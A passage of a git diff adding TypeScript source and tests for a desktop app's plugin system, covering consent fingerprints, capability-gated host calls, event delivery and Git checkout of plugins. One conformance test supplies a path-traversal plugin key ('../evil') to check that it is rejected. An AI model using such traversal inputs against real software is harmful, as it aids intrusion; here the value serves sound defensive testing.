+        results[index] = await readInstalledPlugin(
+          join(pluginsDir, entry.name),
+          entry.name,
+          hostVersion
+        )
+      }
+    }
+  )
+  await Promise.all(readers)
+  return results
+}
+
+export async function discoverPlugins(options: {
+  pluginsDir: string
+  devPluginPaths: readonly string[]
+  hostVersion: string
+}): Promise<DiscoveredPlugin[]> {
+  const discovered: DiscoveredPlugin[] = []
+  let entries: Dirent[] = []
+  try {
+    entries = await readdir(options.pluginsDir, { withFileTypes: true })
+  } catch {
+    // A missing plugins dir just means no plugins are installed yet.
+  }
+  const installedEntries = entries.filter(
+    (entry) => entry.isDirectory() && isQualifiedPluginKey(entry.name)
+  )
+  // Installed manifests are independent immutable trees. Read them in
+  // a bounded pool so startup latency stays low without exhausting handles.
+  discovered.push(
+    ...(await readInstalledPlugins(options.pluginsDir, installedEntries, options.hostVersion))
+  )
+  for (const devPath of options.devPluginPaths) {
+    const plugin = await readManifestDir(devPath, options.hostVersion, true)
+    // A dev path that duplicates an installed plugin's identity wins — that
+    // is the point of dev mode — but two dev paths must not collide.
+    if (!isInvalidDiscoveredPlugin(plugin)) {
+      const collision = discovered.find(
+        (existing) =>
+          !isInvalidDiscoveredPlugin(existing) && existing.pluginKey === plugin.pluginKey
+      )
+      if (collision) {
+        discovered.splice(discovered.indexOf(collision), 1)
+      }
+    }
+    discovered.push(plugin)
+  }
+  return discovered
+}
diff --git a/src/main/plugins/plugin-enablement.test.ts b/src/main/plugins/plugin-enablement.test.ts
new file mode 100644
index 000000000..0ce3013d8
--- /dev/null
+++ b/src/main/plugins/plugin-enablement.test.ts
@@ -0,0 +1,132 @@
+import { tmpdir } from 'node:os'
+import { describe, expect, it, vi } from 'vitest'
+import { getDefaultSettings } from '../../shared/constants'
+import type { GlobalSettings } from '../../shared/types'
+import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
+import type { Store } from '../persistence'
+import { applyPluginConsent, applyPluginEnablement } from './plugin-enablement'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+import type { PluginService } from './plugin-service'
+
+const pluginKey = 'orca-samples.demo'
+const manifest = pluginManifestSchema.parse({
+  manifestVersion: 1,
+  id: 'demo',
+  publisher: 'orca-samples',
+  name: 'Demo',
+  version: '1.0.0',
+  engines: { orca: '>=1.0.0' },
+  pluginApi: 1,
+  contributes: {},
+  capabilities: []
+})
+
+function createStore(): {
+  store: Store
+  getSettings: () => GlobalSettings
+  updateSettings: ReturnType<typeof vi.fn>
+} {
+  let settings = getDefaultSettings(tmpdir())
+  const updateSettings = vi.fn((updates: Partial<GlobalSettings>) => {
+    settings = { ...settings, ...updates }
+  })
+  return {
+    store: { getSettings: () => settings, updateSettings } as unknown as Store,
+    getSettings: () => settings,
+    updateSettings
+  }
+}
+
+function createPluginService(
+  getFingerprint: () => string,
+  overrides: Partial<ValidDiscoveredPlugin> = {}
+): PluginService {
+  return {
+    findValidPlugin: (requestedKey: string) =>
+      requestedKey === pluginKey
+        ? {
+            pluginKey,
+            rootDir: tmpdir(),
+            manifest,
+            consentFingerprint: getFingerprint(),
+            consentContentHash: null,
+            contentHash: null,
+            isDev: true,
+            ...overrides
+          }
+        : null,
+    reconcileActivationState: vi.fn().mockResolvedValue(undefined)
+  } as unknown as PluginService
+}
+
+describe('applyPluginConsent', () => {
+  it('stores approval only for the fingerprint the user reviewed', async () => {
+    const harness = createStore()
+    const pluginService = createPluginService(() => 'sha256-reviewed')
+
+    await applyPluginConsent({
+      store: harness.store,
+      pluginService,
+      pluginKey,
+      reviewedFingerprint: 'sha256-reviewed',
+      decision: 'approve'
+    })
+
+    expect(harness.getSettings().pluginConsents[pluginKey]).toBe('sha256-reviewed')
+    expect(harness.getSettings().disabledPlugins).not.toContain(pluginKey)
+  })
+
+  it('rejects a stale review after a same-key plugin update without writing settings', async () => {
+    const harness = createStore()
+    let currentFingerprint = 'sha256-reviewed-v1'
+    const pluginService = createPluginService(() => currentFingerprint)
+    currentFingerprint = 'sha256-current-v2'
+
+    await expect(
+      applyPluginConsent({
+        store: harness.store,
+        pluginService,
+        pluginKey,
+        reviewedFingerprint: 'sha256-reviewed-v1',
+        decision: 'approve'
+      })
+    ).rejects.toThrow('changed since its permissions were reviewed')
+
+    expect(harness.updateSettings).not.toHaveBeenCalled()
+    expect(harness.getSettings().pluginConsents[pluginKey]).toBeUndefined()
+  })
+
+  it('allows a stale dialog to keep the newer plugin disabled', async () => {
+    const harness = createStore()
+    const pluginService = createPluginService(() => 'sha256-current-v2')
+
+    await applyPluginConsent({
+      store: harness.store,
+      pluginService,
+      pluginKey,
+      reviewedFingerprint: 'sha256-reviewed-v1',
+      decision: 'keep-disabled'
+    })
+
+    expect(harness.getSettings().disabledPlugins).toContain(pluginKey)
+    expect(pluginService.reconcileActivationState).toHaveBeenCalledOnce()
+  })
+})
+
+describe('applyPluginEnablement', () => {
+  it('does not persist unknown plugin identities', async () => {
+    const harness = createStore()
+    const pluginService = createPluginService(() => 'sha256-current')
+
+    await expect(
+      applyPluginEnablement({
+        store: harness.store,
+        pluginService,
+        pluginKey: 'orca-samples.unknown',
+        enabled: false
+      })
+    ).rejects.toThrow('unknown plugin')
+
+    expect(harness.updateSettings).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/main/plugins/plugin-enablement.ts b/src/main/plugins/plugin-enablement.ts
new file mode 100644
index 000000000..44349ef08
--- /dev/null
+++ b/src/main/plugins/plugin-enablement.ts
@@ -0,0 +1,87 @@
+import {
+  normalizePluginConsents,
+  normalizePluginIdList
+} from '../../shared/plugins/plugin-consent-state'
+import type { Store } from '../persistence'
+import type { PluginService } from './plugin-service'
+import type { PluginConsentRequest } from '../../shared/plugins/plugin-consent-request'
+import { verifyInstructionalPluginContent } from './plugin-instructional-content-integrity'
+
+/**
+ * Single write path for consent + enablement. Consent is recorded as
+ * (qualified key → consent fingerprint) — never a bare id — so a capability
+ * expansion or addition of trusted Node code requires re-consent. The desktop
+ * IPC handlers and the headless RPC methods both route through here.
+ */
+
+export type PluginConsentDecision = PluginConsentRequest['decision']
+
+/** Records the user's consent-dialog answer. Approving stores the CURRENT
+ *  consent fingerprint and clears any disable; declining disables so the plugin
+ *  never re-prompts on later launches. */
+export async function applyPluginConsent(input: {
+  store: Store
+  pluginService: PluginService
+  pluginKey: PluginConsentRequest['pluginKey']
+  reviewedFingerprint: PluginConsentRequest['reviewedFingerprint']
+  decision: PluginConsentRequest['decision']
+  originWebContentsId?: number
+}): Promise<void> {
+  const { store, pluginService, pluginKey } = input
+  const plugin = pluginService.findValidPlugin(pluginKey)
+  if (!plugin) {
+    throw new Error(`cannot record consent for unknown plugin ${pluginKey}`)
+  }
+  // Why: a same-key install can change while the dialog is open; never apply a
+  // decision to capabilities or a worker trust tier the user did not review.
+  if (input.decision === 'approve' && plugin.consentFingerprint !== input.reviewedFingerprint) {
+    throw new Error(`plugin ${pluginKey} changed since its permissions were reviewed`)
+  }
+  if (input.decision === 'approve') {
+    // Why: IPC and serve callers can bypass the renderer dialog, so main must
+    // prove every instructional byte is still reviewable before enabling it.
+    await verifyInstructionalPluginContent(plugin)
+  }
+  const settings = store.getSettings()
+  const disabled = new Set(normalizePluginIdList(settings.disabledPlugins))
+  const consents = normalizePluginConsents(settings.pluginConsents)
+  if (input.decision === 'approve') {
+    consents[pluginKey] = plugin.consentFingerprint
+    disabled.delete(pluginKey)
+  } else {
+    disabled.add(pluginKey)
+  }
+  store.updateSettings(
+    { disabledPlugins: [...disabled], pluginConsents: consents },
+    { notifyListeners: true, originWebContentsId: input.originWebContentsId }
+  )
+  await pluginService.reconcileActivationState()
+}
+
+/** Enables/disables an already-consented plugin. Enabling never bypasses
+ *  consent: with missing or stale consent the plugin stays pending and the
+ *  caller must run the consent flow instead. */
+export async function applyPluginEnablement(input: {
+  store: Store
+  pluginService: PluginService
+  pluginKey: string
+  enabled: boolean
+  originWebContentsId?: number
+}): Promise<void> {
+  const { store, pluginService, pluginKey, enabled } = input
+  if (!pluginService.findValidPlugin(pluginKey)) {
+    throw new Error(`cannot change enablement for unknown plugin ${pluginKey}`)
+  }
+  const settings = store.getSettings()
+  const disabled = new Set(normalizePluginIdList(settings.disabledPlugins))
+  if (enabled) {
+    disabled.delete(pluginKey)
+  } else {
+    disabled.add(pluginKey)
+  }
+  store.updateSettings(
+    { disabledPlugins: [...disabled] },
+    { notifyListeners: true, originWebContentsId: input.originWebContentsId }
+  )
+  await pluginService.reconcileActivationState()
+}
diff --git a/src/main/plugins/plugin-event-bus.ts b/src/main/plugins/plugin-event-bus.ts
new file mode 100644
index 000000000..cee9e7825
--- /dev/null
+++ b/src/main/plugins/plugin-event-bus.ts
@@ -0,0 +1,42 @@
+import { PLUGIN_EVENT_PAYLOAD_SCHEMAS } from '../../shared/plugins/plugin-events'
+import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
+
+/**
+ * Server-side event filtering: plugins receive only events they subscribed
+ * to (manifest `contributes.events` or a runtime `events.subscribe` call) —
+ * never a firehose. Manifest subscriptions are durable activation triggers;
+ * dynamic subscriptions live only as long as the worker that made them.
+ */
+
+export class PluginEventBus {
+  private readonly dynamicSubscriptions = new Map<string, Set<PluginEventName>>()
+
+  subscribe(pluginKey: string, events: PluginEventName[]): PluginEventName[] {
+    const existing = this.dynamicSubscriptions.get(pluginKey) ?? new Set<PluginEventName>()
+    for (const event of events) {
+      existing.add(event)
+    }
+    this.dynamicSubscriptions.set(pluginKey, existing)
+    return [...existing]
+  }
+
+  isDynamicallySubscribed(pluginKey: string, event: PluginEventName): boolean {
+    return this.dynamicSubscriptions.get(pluginKey)?.has(event) ?? false
+  }
+
+  /** Dynamic subscriptions die with the worker that registered them. */
+  clear(pluginKey: string): void {
+    this.dynamicSubscriptions.delete(pluginKey)
+  }
+
+  /** Validates and bounds an event payload before it reaches any plugin. */
+  projectPayload(
+    event: PluginEventName,
+    payload: unknown
+  ): { ok: true; payload: unknown } | { ok: false; error: string } {
+    const parsed = PLUGIN_EVENT_PAYLOAD_SCHEMAS[event].safeParse(payload)
+    return parsed.success
+      ? { ok: true, payload: parsed.data }
+      : { ok: false, error: `malformed ${event} payload` }
+  }
+}
diff --git a/src/main/plugins/plugin-event-delivery.ts b/src/main/plugins/plugin-event-delivery.ts
new file mode 100644
index 000000000..15aac71b3
--- /dev/null
+++ b/src/main/plugins/plugin-event-delivery.ts
@@ -0,0 +1,48 @@
+import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
+import {
+  isInvalidDiscoveredPlugin,
+  type DiscoveredPlugin,
+  type ValidDiscoveredPlugin
+} from './plugin-discovery'
+import type { PluginEventBus } from './plugin-event-bus'
+import type { PluginWorkerController } from './plugin-worker-controller'
+
+export function deliverPluginEvent(options: {
+  event: PluginEventName
+  payload: unknown
+  plugins: readonly DiscoveredPlugin[]
+  eventBus: PluginEventBus
+  workerController: PluginWorkerController
+  isRuntimeApproved: (plugin: ValidDiscoveredPlugin) => boolean
+  logWarning: (pluginKey: string, line: string) => void
+}): void {
+  const projected = options.eventBus.projectPayload(options.event, options.payload)
+  if (!projected.ok) {
+    return
+  }
+  for (const plugin of options.plugins) {
+    if (isInvalidDiscoveredPlugin(plugin) || !options.isRuntimeApproved(plugin)) {
+      continue
+    }
+    const manifestSubscribed = plugin.manifest.contributes.events.some(
+      (subscription) => subscription.on === options.event
+    )
+    if (manifestSubscribed && plugin.manifest.main) {
+      void options.workerController
+        .ensure(plugin)
+        .then((handle) => handle.deliverEvent(options.event, projected.payload))
+        .catch((error) => {
+          options.logWarning(
+            plugin.pluginKey,
+            `event ${options.event} dropped: ${error instanceof Error ? error.message : String(error)}`
+          )
+        })
+    } else if (options.eventBus.isDynamicallySubscribed(plugin.pluginKey, options.event)) {
+      options.workerController.deliverEventIfRunning(
+        plugin.pluginKey,
+        options.event,
+        projected.payload
+      )
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-git-repository.ts b/src/main/plugins/plugin-git-repository.ts
new file mode 100644
index 000000000..e8870f9e7
--- /dev/null
+++ b/src/main/plugins/plugin-git-repository.ts
@@ -0,0 +1,57 @@
+import { execFile } from 'node:child_process'
+import { promisify } from 'node:util'
+import {
+  isAllowedPluginGitUrl,
+  PLUGIN_COMMIT_PATTERN
+} from '../../shared/plugins/plugin-install-lockfile'
+
+const execFileAsync = promisify(execFile)
+const PLUGIN_GIT_TIMEOUT_MS = 120_000
+
+/** Runs system Git with argv-only invocation so credential helpers and SSH
+ * remotes work without exposing an executable remote-helper surface. */
+export async function runPluginGit(args: string[], cwd: string): Promise<string> {
+  const { stdout } = await execFileAsync('git', args, {
+    cwd,
+    timeout: PLUGIN_GIT_TIMEOUT_MS,
+    windowsHide: true,
+    env: {
+      ...process.env,
+      // Existing non-interactive helpers and SSH agents still work, but a
+      // background marketplace refresh can never hang on a terminal prompt.
+      GIT_TERMINAL_PROMPT: '0'
+    }
+  })
+  return stdout.trim()
+}
+
+/** Checks out one Git ref into an empty destination and returns exact HEAD. */
+export async function checkoutPluginGitSource(input: {
+  url: string
+  ref: string
+  destination: string
+  workingDirectory: string
+}): Promise<string> {
+  if (!isAllowedPluginGitUrl(input.url)) {
+    throw new Error('plugin Git URL must use HTTPS or SSH')
+  }
+  const ref = input.ref.trim()
+  if (PLUGIN_COMMIT_PATTERN.test(ref)) {
+    await runPluginGit(['init', '--quiet', input.destination], input.workingDirectory)
+    await runPluginGit(['remote', 'add', 'origin', input.url], input.destination)
+    await runPluginGit(['fetch', '--quiet', '--depth', '1', 'origin', ref], input.destination)
+    await runPluginGit(['checkout', '--quiet', 'FETCH_HEAD'], input.destination)
+  } else {
+    const args = ['clone', '--quiet', '--depth', '1']
+    if (ref.length > 0) {
+      args.push('--branch', ref)
+    }
+    args.push('--', input.url, input.destination)
+    await runPluginGit(args, input.workingDirectory)
+  }
+  const resolvedCommit = await runPluginGit(['rev-parse', 'HEAD'], input.destination)
+  if (!PLUGIN_COMMIT_PATTERN.test(resolvedCommit)) {
+    throw new Error('Git resolved an invalid commit identity')
+  }
+  return resolvedCommit
+}
diff --git a/src/main/plugins/plugin-host-call-adapter.ts b/src/main/plugins/plugin-host-call-adapter.ts
new file mode 100644
index 000000000..39c26eabd
--- /dev/null
+++ b/src/main/plugins/plugin-host-call-adapter.ts
@@ -0,0 +1,57 @@
+import { z } from 'zod'
+import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
+import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
+import { executePluginHostCall, type ExecutePluginHostCallInput } from './plugin-host-methods'
+
+const pluginHostCallRequestSchema = z
+  .object({
+    method: z.string().min(1).max(128),
+    params: z.unknown().optional()
+  })
+  .strict()
+
+export type PluginHostCallRequest = z.infer<typeof pluginHostCallRequestSchema>
+
+export function isPluginHostCallRequest(request: unknown): request is PluginHostCallRequest {
+  return pluginHostCallRequestSchema.safeParse(request).success
+}
+
+export type PluginHostCallPolicy = Pick<
+  ExecutePluginHostCallInput,
+  'grantedCapabilities' | 'services' | 'audit'
+>
+
+export type ResolvePluginHostCallPolicy = (
+  pluginKey: string
+) => PluginHostCallPolicy | Promise<PluginHostCallPolicy>
+
+/** Validates the transport envelope, resolves all authority host-side, then
+ *  enters the one capability/schema/audit execution chokepoint. */
+export async function executePluginHostCallRequest(input: {
+  /** Qualified identity already authenticated by the owning transport. */
+  pluginKey: string
+  request: unknown
+  viaPanel: boolean
+  resolvePolicy: ResolvePluginHostCallPolicy
+}): Promise<PluginPanelActionOutcome> {
+  if (!isQualifiedPluginKey(input.pluginKey)) {
+    return { ok: false, code: 'invalid_request', error: 'invalid qualified plugin key' }
+  }
+  const parsed = pluginHostCallRequestSchema.safeParse(input.request)
+  if (!parsed.success) {
+    return { ok: false, code: 'invalid_request', error: 'malformed plugin host call request' }
+  }
+  let policy: PluginHostCallPolicy
+  try {
+    policy = await input.resolvePolicy(input.pluginKey)
+  } catch {
+    return { ok: false, code: 'unavailable', error: 'plugin host policy is not available' }
+  }
+  return executePluginHostCall({
+    pluginId: input.pluginKey,
+    method: parsed.data.method,
+    params: parsed.data.params,
+    viaPanel: input.viaPanel,
+    ...policy
+  })
+}
diff --git a/src/main/plugins/plugin-host-conformance.test.ts b/src/main/plugins/plugin-host-conformance.test.ts
new file mode 100644
index 000000000..bc43dd741
--- /dev/null
+++ b/src/main/plugins/plugin-host-conformance.test.ts
@@ -0,0 +1,366 @@
+import { describe, expect, it, vi } from 'vitest'
+import { PLUGIN_HOST_API_V0 } from '../../shared/plugins/plugin-host-api'
+import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
+import {
+  admitPluginPanelCall,
+  createPluginPanelCallAdmission
+} from '../../shared/plugins/plugin-panel-call-admission'
+import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
+import type { MethodHandler } from '../../relay/dispatcher'
+import {
+  RELAY_PLUGIN_PANEL_HOST_CALL_METHOD,
+  RELAY_PLUGIN_WORKER_HOST_CALL_METHOD,
+  registerRelayPluginHostCallHandlers
+} from '../../relay/plugin-host-call-handler'
+import {
+  executePluginHostCallRequest,
+  type PluginHostCallPolicy,
+  type ResolvePluginHostCallPolicy
+} from './plugin-host-call-adapter'
+import type { PluginHostServices } from './plugin-host-methods'
+
+const PLUGIN_KEY = 'orca-samples.demo'
+const WORKTREE_ID = 'repo-id::/Users/private/orca'
+const TERMINAL_ID = 'terminal:local:one'
+
+type HostCallAdapter = (request: unknown, viaPanel: boolean) => Promise<PluginPanelActionOutcome>
+
+function createServices(): PluginHostServices {
+  return {
+    resolveActiveWorktreeContext: vi.fn().mockResolvedValue({
+      worktreeId: WORKTREE_ID,
+      branch: 'main',
+      displayName: 'Orca',
+      path: '/Users/private/orca'
+    }),
+    listWorktreeTerminals: vi
+      .fn()
+      .mockResolvedValue([{ id: TERMINAL_ID, title: '/home/private/orca' }]),
+    sendTerminalText: vi.fn().mockResolvedValue({ accepted: true }),
+    dispatchPluginNotification: vi.fn().mockResolvedValue({ delivered: true }),
+    storage: {
+      get: vi.fn().mockReturnValue('stored'),
+      set: vi.fn().mockReturnValue({ ok: true }),
+      delete: vi.fn(),
+      keys: vi.fn().mockReturnValue(['alpha'])
+    },
+    secrets: {
+      get: vi.fn().mockReturnValue({ ok: true, value: 'secret' }),
+      set: vi.fn().mockReturnValue({ ok: true }),
+      delete: vi.fn()
+    },
+    settings: {
+      getAll: vi.fn().mockReturnValue({ theme: 'dark' }),
+      set: vi.fn().mockReturnValue({ ok: true })
+    },
+    subscribeEvents: vi.fn().mockImplementation((_pluginKey, events) => events)
+  }
+}
+
+function createPolicy(
+  grantedCapabilities: readonly PluginCapabilityKind[] | null,
+  services: PluginHostServices = createServices(),
+  audit = { record: vi.fn().mockResolvedValue(undefined) }
+): PluginHostCallPolicy {
+  return { grantedCapabilities, services, audit }
+}
+
+function createAdapters(
+  resolvePolicy: ResolvePluginHostCallPolicy,
+  limits?: { maxBytes?: number; maxMessages?: number; perMs?: number }
+): Record<string, HostCallAdapter> {
+  const relayHandlers = new Map<string, MethodHandler>()
+  registerRelayPluginHostCallHandlers(
+    { onRequest: (method, handler) => relayHandlers.set(method, handler) },
+    (context) => (context.clientId === 1 ? PLUGIN_KEY : null),
+    resolvePolicy,
+    { panelAdmission: createPluginPanelCallAdmission({ limits, now: () => 0 }) }
+  )
+  const desktopAdmission = createPluginPanelCallAdmission({ limits, now: () => 0 })
+  return {
+    'desktop-main': async (request, viaPanel) => {
+      if (viaPanel) {
+        const admissionRefusal = admitPluginPanelCall(desktopAdmission, PLUGIN_KEY, request)
+        if (admissionRefusal) {
+          return admissionRefusal
+        }
+      }
+      return executePluginHostCallRequest({
+        pluginKey: PLUGIN_KEY,
+        request,
+        viaPanel,
+        resolvePolicy
+      })
+    },
+    relay: async (request, viaPanel) => {
+      const registeredMethod = viaPanel
+        ? RELAY_PLUGIN_PANEL_HOST_CALL_METHOD
+        : RELAY_PLUGIN_WORKER_HOST_CALL_METHOD
+      return (await relayHandlers.get(registeredMethod)!(request as Record<string, unknown>, {
+        clientId: 1,
+        isStale: () => false
+      })) as PluginPanelActionOutcome
+    }
+  }
+}
+
+const successParams: Record<string, unknown> = {
+  'workspace.readContext': {},
+  'terminal.sendText': { terminalId: TERMINAL_ID, text: 'echo hi', enter: true },
+  'notifications.show': { title: 'Hello' },
+  'storage.get': { key: 'alpha' },
+  'storage.set': { key: 'alpha', value: 1 },
+  'storage.delete': { key: 'alpha' },
+  'storage.keys': {},
+  'secrets.get': { key: 'token' },
+  'secrets.set': { key: 'token', value: 'secret' },
+  'secrets.delete': { key: 'token' },
+  'settings.get': {},
+  'settings.set': { key: 'theme', value: 'dark' },
+  'events.subscribe': { events: ['worktree.created'] }
+}
+
+describe('plugin host main/relay conformance', () => {
+  it('runs a granted success through both transports for all 13 v0 methods', async () => {
+    expect(PLUGIN_HOST_API_V0).toHaveLength(13)
+    expect(Object.keys(successParams).sort()).toEqual(
+      PLUGIN_HOST_API_V0.map((entry) => entry.name).sort()
+    )
+    expect(PLUGIN_HOST_API_V0.every((entry) => entry.stability === 'experimental')).toBe(true)
+    expect(PLUGIN_HOST_API_V0.every((entry) => entry.scope.length > 0)).toBe(true)
+
+    for (const spec of PLUGIN_HOST_API_V0) {
+      const policy = createPolicy([spec.capability])
+      const resolvePolicy = vi.fn().mockResolvedValue(policy)
+      const outcomes = await Promise.all(
+        Object.values(createAdapters(resolvePolicy)).map((adapter) =>
+          adapter({ method: spec.name, params: successParams[spec.name] }, spec.panel)
+        )
+      )
+      expect(outcomes, spec.name).toHaveLength(2)
+      expect(outcomes[0], spec.name).toEqual(outcomes[1])
+      expect(outcomes[0], spec.name).toMatchObject({ ok: true })
+    }
+  })
+
+  it('projects workspace context without host paths on main and relay', async () => {
+    const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['workspace:read']))
+    for (const adapter of Object.values(createAdapters(resolvePolicy))) {
+      const outcome = await adapter({ method: 'workspace.readContext', params: {} }, true)
+      expect(outcome).toEqual({
+        ok: true,
+        value: {
+          branch: 'main',
+          displayName: 'Orca',
+          terminals: [{ id: TERMINAL_ID }]
+        }
+      })
+      expect(outcome).not.toHaveProperty('value.path')
+      expect(outcome).not.toHaveProperty('value.worktreeId')
+    }
+  })
+
+  const deniedCases: {
+    name: string
+    request: unknown
+    viaPanel: boolean
+    policy: () => PluginHostCallPolicy
+    code: string
+  }[] = [
+    {
+      name: 'missing or stale consent',
+      request: { method: 'workspace.readContext', params: {} },
+      viaPanel: true,
+      policy: () => createPolicy(null),
+      code: 'consent_required'
+    },
+    {
+      name: 'missing capability',
+      request: { method: 'workspace.readContext', params: {} },
+      viaPanel: true,
+      policy: () => createPolicy([]),
+      code: 'capability_denied'
+    },
+    {
+      name: 'unknown method',
+      request: { method: 'workspace.erase', params: {} },
+      viaPanel: false,
+      policy: () => createPolicy(['workspace:read']),
+      code: 'unknown_method'
+    },
+    {
+      name: 'malformed params',
+      request: {
+        method: 'terminal.sendText',
+        params: { terminalId: TERMINAL_ID, text: '' }
+      },
+      viaPanel: true,
+      policy: () => createPolicy(['terminal:send']),
+      code: 'invalid_params'
+    },
+    {
+      name: 'panel-forbidden method',
+      request: { method: 'storage.get', params: { key: 'alpha' } },
+      viaPanel: true,
+      policy: () => createPolicy(['storage']),
+      code: 'panel_forbidden'
+    },
+    {
+      name: 'malformed result',
+      request: {
+        method: 'notifications.show',
+        params: { title: 'Hello' }
+      },
+      viaPanel: true,
+      policy: () => {
+        const services = createServices()
+        services.dispatchPluginNotification = vi
+          .fn()
+          .mockResolvedValue({ delivered: 'yes' } as unknown as { delivered: boolean })
+        return createPolicy(['notifications:show'], services)
+      },
+      code: 'action_failed'
+    },
+    {
+      name: 'mutation audit failure',
+      request: {
+        method: 'storage.set',
+        params: { key: 'alpha', value: 1 }
+      },
+      viaPanel: false,
+      policy: () =>
+        createPolicy(['storage'], createServices(), {
+          record: vi.fn().mockRejectedValue(new Error('disk full'))
+        }),
+      code: 'action_failed'
+    }
+  ]
+
+  it.each(deniedCases)('returns identical $code codes for $name', async (testCase) => {
+    const outcomes: PluginPanelActionOutcome[] = []
+    for (const adapterName of ['desktop-main', 'relay']) {
+      const resolvePolicy = vi.fn().mockImplementation(() => testCase.policy())
+      const adapter = createAdapters(resolvePolicy)[adapterName]!
+      outcomes.push(await adapter(testCase.request, testCase.viaPanel))
+    }
+    expect(outcomes[0]).toMatchObject({ ok: false, code: testCase.code })
+    expect(outcomes[1]).toMatchObject({ ok: false, code: testCase.code })
+    expect(outcomes[0]).toEqual(outcomes[1])
+  })
+
+  it('enforces the same per-plugin panel budget on desktop main and relay', async () => {
+    for (const adapterName of ['desktop-main', 'relay']) {
+      const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['notifications:show']))
+      const adapter = createAdapters(resolvePolicy, {
+        maxMessages: 1,
+        perMs: 10_000
+      })[adapterName]!
+
+      await expect(
+        adapter({ method: 'notifications.show', params: { title: 'first' } }, true)
+      ).resolves.toMatchObject({ ok: true })
+      await expect(
+        adapter({ method: 'notifications.show', params: { title: 'second' } }, true)
+      ).resolves.toEqual({
+        ok: false,
+        code: 'rate_limited',
+        error: 'too many panel requests'
+      })
+    }
+  })
+
+  it('charges malformed and oversized panel traffic before schema parsing', async () => {
+    for (const adapterName of ['desktop-main', 'relay']) {
+      const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['notifications:show']))
+      const adapter = createAdapters(resolvePolicy, {
+        maxBytes: 128,
+        maxMessages: 2,
+        perMs: 10_000
+      })[adapterName]!
+
+      await expect(
+        adapter({ method: 'notifications.show', unexpected: true }, true)
+      ).resolves.toMatchObject({ ok: false, code: 'invalid_request' })
+      await expect(
+        adapter(
+          {
+            method: 'notifications.show',
+            params: { title: 'x'.repeat(256) }
+          },
+          true
+        )
+      ).resolves.toEqual({
+        ok: false,
+        code: 'invalid_request',
+        error: 'panel message exceeds the size limit'
+      })
+      await expect(
+        adapter({ method: 'notifications.show', params: { title: 'third' } }, true)
+      ).resolves.toEqual({
+        ok: false,
+        code: 'rate_limited',
+        error: 'too many panel requests'
+      })
+      expect(resolvePolicy).not.toHaveBeenCalled()
+    }
+  })
+
+  it('binds relay plugin identity to the requesting connection', async () => {
+    const relayHandlers = new Map<string, MethodHandler>()
+    const services = createServices()
+    const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['storage'], services))
+    const resolveIdentity = vi
+      .fn()
+      .mockImplementation(({ clientId }: { clientId: number }) =>
+        clientId === 7 ? PLUGIN_KEY : null
+      )
+    registerRelayPluginHostCallHandlers(
+      { onRequest: (method, handler) => relayHandlers.set(method, handler) },
+      resolveIdentity,
+      resolvePolicy
+    )
+    const handler = relayHandlers.get(RELAY_PLUGIN_WORKER_HOST_CALL_METHOD)!
+
+    await expect(
+      handler(
+        { method: 'storage.get', params: { key: 'alpha' } },
+        { clientId: 7, isStale: () => false }
+      )
+    ).resolves.toMatchObject({ ok: true })
+    expect(services.storage.get).toHaveBeenCalledWith(PLUGIN_KEY, 'alpha')
+
+    await expect(
+      handler(
+        { method: 'storage.get', params: { key: 'alpha' } },
+        { clientId: 8, isStale: () => false }
+      )
+    ).resolves.toMatchObject({ ok: false, code: 'unavailable' })
+    expect(resolvePolicy).toHaveBeenCalledTimes(1)
+  })
+
+  it('rejects malformed envelopes and client-supplied authority before policy resolution', async () => {
+    const requests = [
+      { pluginKey: '../evil', method: 'storage.get', params: { key: 'alpha' } },
+      {
+        pluginKey: PLUGIN_KEY,
+        method: 'storage.get',
+        params: { key: 'alpha' },
+        grantedCapabilities: ['storage']
+      },
+      {
+        pluginKey: PLUGIN_KEY,
+        method: 'storage.get',
+        params: { key: 'alpha' },
+        viaPanel: false
+      }
+    ]
+    for (const request of requests) {
+      for (const adapterName of ['desktop-main', 'relay']) {
+        const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['storage']))
+        const outcome = await createAdapters(resolvePolicy)[adapterName]!(request, false)
+        expect(outcome).toMatchObject({ ok: false, code: 'invalid_request' })
+        expect(resolvePolicy).not.toHaveBeenCalled()
+      }
+    }
+  })
+})
diff --git a/src/main/plugins/plugin-host-entry.ts b/src/main/plugins/plugin-host-entry.ts
new file mode 100644
index 000000000..cc6d40a55
--- /dev/null
+++ b/src/main/plugins/plugin-host-entry.ts
@@ -0,0 +1,41 @@
+/**
+ * Child-process entry for the out-of-process plugin worker. Forked with
+ * ELECTRON_RUN_AS_NODE, so this file must stay plain Node — no electron
+ * imports (directly or transitively). All logic lives in
+ * `plugin-host-runtime.ts`; this file only wires the fork IPC channel.
+ */
+import { createPluginWorkerRuntime } from './plugin-host-runtime'
+import type { PluginWorkerChildMessage } from '../../shared/plugins/plugin-host-protocol'
+
+function sendToParent(message: PluginWorkerChildMessage): void {
+  process.send?.(message)
+}
+
+const runtime = createPluginWorkerRuntime({ send: sendToParent })
+
+process.on('message', (raw: unknown) => {
+  void runtime.handleMessage(raw)
+})
+
+// Why: third-party plugin code runs here; an escaped rejection must not leave
+// a zombie worker. Report the crash so the parent can supervise/restart.
+function dieFatally(error: unknown): void {
+  try {
+    sendToParent({
+      type: 'fatal',
+      error: error instanceof Error ? (error.stack ?? error.message) : String(error)
+    })
+  } catch {
+    // Channel already gone; nothing left to report to.
+  }
+  process.exit(1)
+}
+
+process.on('uncaughtException', dieFatally)
+process.on('unhandledRejection', dieFatally)
+
+// Why: if the parent dies without sending shutdown, the IPC channel closes;
+// exit instead of lingering as an orphaned Node process.
+process.on('disconnect', () => {
+  process.exit(0)
+})
diff --git a/src/main/plugins/plugin-host-method-bindings.ts b/src/main/plugins/plugin-host-method-bindings.ts
new file mode 100644
index 000000000..b10730272
--- /dev/null
